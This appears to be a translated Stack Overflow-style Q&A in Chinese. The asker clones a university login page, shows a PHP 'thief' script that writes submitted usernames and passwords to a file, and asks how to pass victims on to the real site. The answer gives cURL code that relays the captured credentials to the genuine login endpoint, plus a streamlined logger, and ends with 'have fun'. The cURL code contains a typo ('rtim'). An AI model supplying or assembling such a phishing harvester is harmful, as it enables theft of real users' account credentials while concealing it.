首页 文章

需要使用PHP重定向和填写信息

提问于
浏览
-2

我已经克隆了一个网站的登录页面并将其托管在我的个人服务器上,以便进行一些浏览器安全测试 . 我正在尝试记录登录信息,并仍然将用户重定向到未克隆的网站,登录 .

这是我的HTML表单:

<form name="login" method="post" action="https://my.website.edu/e/portal/login.asp">
<input type="text" placeholder=" Username" name="username" id="username" alt="Username" style="width:100%;font-size:24px;" />
<input type="password" placeholder=" Password" name="pin" id="pin" alt="Password" style="width:100%;margin-top:5px;font-size:24px;" />
<input type="submit" value="Sign In" name="B1" style="width:101%;font-size:18px;height:35px;margin-top:5px;margin-bottom:5px;" /> <p><a href="https://my.website.edu/e/is/user/change_password_form.asp?t=2">Forgot Password?</a></p> </form>

提交信息并点击“提交”会将用户登录到“真正的”未克隆网站 .

我写了一个“窃贼”脚本,它会窃取信息并将其写入文件:

<?php

$txt = "info.txt";
$fh = fopen($txt, 'a+');
if (isset($_POST['username']) && isset($_POST['pin'])) {
   $txt=$_POST['username'].','.$_POST['pin'];
   file_put_contents('info.txt',$txt."\n",FILE_APPEND);
   exit();
}
   fwrite($fh,$txt);
   fclose($fh);
?>

我可以通过将表单更改为action ='thief.php'来执行此脚本,但我无法使用login.asp操作实际登录 .

不使用javascript,是否可以从表单中获取$ _POST值,将它们写入我们的info.txt,然后以某种方式完成登录操作?

我觉得最好的方法是使用php脚本重定向回登录页面,用$ _POST值填写用户名/密码框,然后以某种方式执行提交,将用户无缝地传送到目的地表格的原始动作 .

我需要做什么额外的PHP代码呢?有没有更好的办法?

1 回答

  • 0

    你的脚本之后是这样的:

    $url = 'the-url.tld/blabla/login.asp';
    
    $data = '';
    
    // formating the post data with $_POST values
    foreach( $_POST as $k => $v ){
    
        $data .= $k.'='.urlencode($v).'&';
    }
    
    $data = rtim($data, '&'); // delete the last & of $data
    
    $ch = curl_init(); // init curl
    
    curl_setopt($ch,CURLOPT_URL, $url); // set url
    curl_setopt($ch,CURLOPT_POST, count($_POST)); // set number of $_POST fileds
    curl_setopt($ch,CURLOPT_POSTFIELDS, $data); // set $_POST data
    
    $res = curl_exec($ch); // execute the curl query and get result in $res
    
    curl_close($ch); // close curl
    
    var_dump($res); // show the result of query
    

    你的脚本可以更简单:

    $txt = "info.txt";
    
    if( isset($_POST['username'], $_POST['pin']) ){
    
        $acc_infos = $_POST['username'].','.$_POST['pin']."\r\n";
    
        file_put_contents($txt, $acc_infos, FILE_APPEND);
    }
    

    玩得开心

相关问题